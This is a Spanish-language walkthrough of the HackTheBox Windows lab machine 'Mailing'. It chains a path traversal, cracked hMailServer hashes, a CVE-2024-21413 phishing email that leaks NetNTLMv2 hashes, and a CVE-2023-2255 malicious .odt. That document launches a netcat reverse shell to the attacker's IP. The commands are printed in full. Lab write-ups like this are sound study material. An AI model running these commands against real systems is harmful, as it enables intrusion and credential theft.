
Si has estado dándole vueltas a las máquinas de HackTheBox, Mailing es una de esas máquinas que de verdad te enseña algo. Está clasificada como Fácil, se ejecuta en Windows y encadena varias vulnerabilidades del mundo real: un directory traversal, una fuga de credenciales, CVE-2024-21413 y un exploit de macro de LibreOffice. Repasémosla paso a paso.
Por Mursalin
Si has estado machacando máquinas de HackTheBox, Mailing es una de esas cajas que realmente te enseña algo. Está clasificada como Fácil, corre en Windows, y encadena varias vulnerabilidades del mundo real: un directory traversal, una filtración de credenciales, CVE-2024-21413 y un exploit de macro de LibreOffice. Recorramosla paso a paso.
Como siempre, empezamos con un escaneo nmap para ver con qué estamos tratando:
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
Los resultados muestran bastantes puertos abiertos. Los más destacados:
mailing.htb)La huella del SO coincide con Windows 10 o Server 2019, y la versión de IIS confirma que es al menos IIS 10. También noto que la firma de mensajes SMB está habilitada pero no es obligatoria — lo guardamos para más tarde.
Los puertos de correo están por todas partes, pero probablemente necesitarán credenciales. El servidor web en el puerto 80 es el punto de partida obvio.
Después de añadir mailing.htb a /etc/hosts, el sitio parece una empresa de alojamiento de correo construida sobre hMailServer. Nada llamativo en la superficie — una sección 'Acerca de', una sección de equipo con tres nombres (Ruy Alonso, Maya Bendito, Gregory Smith) y un botón 'Descargar Instrucciones'.
El botón de descarga apunta a:
http://mailing.htb/download.php?file=instructions.pdf
Ese parámetro file= es inmediatamente sospechoso. Vamos a probarlo.
Ejecuté ffuf para comprobar subdominios — no volvió nada interesante. Luego feroxbuster para fuerza bruta de directorios, tampoco nada nuevo más allá de download.php. Así que toda nuestra atención se centra en ese único endpoint.
Probando el parámetro file para path traversal:
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
Y funciona — obtenemos el archivo hosts de Windows. La aplicación simplemente antepone una ruta base a lo que le damos y llama a file_get_contents(). Sin sanitización, sin restricciones. El fuente de download.php lo confirma cuando lo leemos directamente:
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
Ahora tenemos lectura arbitraria de archivos en una máquina Windows. Vamos a usarlo.
hMailServer almacena su configuración en hMailServer.ini. Tras investigar, el archivo se encuentra en:
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
Leyéndolo mediante nuestro traversal:
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
La salida incluye:
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
Dos hashes MD5. Los meto en CrackStation:
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministratorAsí que tenemos la contraseña de administrador de hMailServer. Probarla contra SMB como el usuario administrator de Windows falla — no es una contraseña de cuenta local, solo la contraseña de administrador del servicio de correo. Pero sí funciona para autenticarse en el servicio SMTP, que es exactamente lo que necesitamos.
Ahora necesitamos conseguir un punto de apoyo como usuario real. El sitio menciona que el cliente de correo utilizado es Windows Mail (según el PDF de instrucciones de instalación). Es hora de buscar vulnerabilidades conocidas.
CVE-2024-21413 es una vulnerabilidad de ejecución remota de código en Microsoft Outlook y Windows Mail. El fallo reside en cómo los clientes manejan las URL del protocolo file:// en los cuerpos de los correos. Normalmente, se imponen restricciones de seguridad en diferentes protocolos. Sin embargo, los investigadores descubrieron que si una URL termina con !cualquiercosa, esas restricciones se eliminan silenciosamente. Cuando un usuario abre o incluso previsualiza un correo con dicho enlace, el cliente intenta automáticamente autenticarse en el servidor SMB del atacante — entregando un hash NetNTLMv2.
Hay un PoC sólido en GitHub de xaitax. Lo clono y lo ejecuto con estos parámetros:
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
El correo se envía correctamente. Mientras tanto, tengo Responder ejecutándose en mi máquina atacante para capturar la autenticación entrante:
sudo /opt/Responder/Responder.py -I tun0
Un minuto más o menos después, el cliente de Maya abre el correo y Responder captura su hash NetNTLMv2. Lo crackeo con hashcat:
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
Contraseña crackeada: m4y4ngs4ri
Con las credenciales de Maya, me conecto usando Evil-WinRM:
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
Estamos dentro. La flag de usuario está en el escritorio de Maya.
Es hora de buscar un camino a root. Husmeando por el sistema, hay un recurso compartido llamado Important Documents y LibreOffice está instalado. Esto es una fuerte pista hacia CVE-2023-2255.
CVE-2023-2255 afecta a versiones de LibreOffice anteriores a 7.4.7 y 7.5.3. Abusa de los 'marcos flotantes' — archivos externos enlazados dentro de documentos .odt. La vulnerabilidad hace que esos marcos se carguen sin pedir permiso al usuario, y el contenido puede ser una macro que se ejecuta al cargar el documento.
El PoC de elweth-sec genera un .odt malicioso que incrusta un comando de shell. La estructura del documento incrusta una etiqueta <script> en content.xml que se dispara en el momento en que LibreOffice abre el archivo.
Genero un payload de reverse shell:
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
Luego subo tanto el archivo .odt como nc64.exe al recurso compartido SMB Important Documents usando las credenciales de Maya:
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
Desde la shell WinRM de Maya, copio nc64.exe a C:\ProgramData para que la macro pueda encontrarlo:
copy "\Important Documents\nc64.exe" nc64.exe
Tras uno o dos minutos, algo en la caja abre el documento (probablemente una tarea programada automatizada), y capturo una shell en mi listener de netcat:
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
Estamos ejecutándonos como localadmin — y la flag de root está en el Escritorio.
La caja fue parcheada el 15 de mayo de 2024 — solo 11 días después del lanzamiento — porque el download.php original en realidad usaba include() de PHP en lugar de file_get_contents(). Eso convertía una simple lectura de archivos en una vulnerabilidad completa de inclusión de archivos locales, lo que significaba que cualquier código PHP en un archivo legible sería ejecutado.
El camino no intencionado era envenenar los logs SMTP de hMailServer (conectándose vía telnet e inyectando PHP en el comando HELO), luego incluir ese archivo de log mediante el LFI para lograr ejecución de código como defaultapppool. Desde allí, SeImpersonatePrivilege + GodPotato = SYSTEM. Una ruta completamente diferente a root.
La cadena de ataque en Mailing es la siguiente:
download.phphMailServer.ini → crackear el hash MD5 del adminEsta caja hace un gran trabajo encadenando CVEs reales de una manera que se siente creíble. Los pasos de explotación no son demasiado complejos, pero necesitas entender lo que estás haciendo en cada etapa. Definitivamente una que vale la pena revisitar si estás estudiando para el OSCP.
¡Gracias por leer! Sígueme en Medium para más writeups de HTB y contenido de CTF.
— Mursalin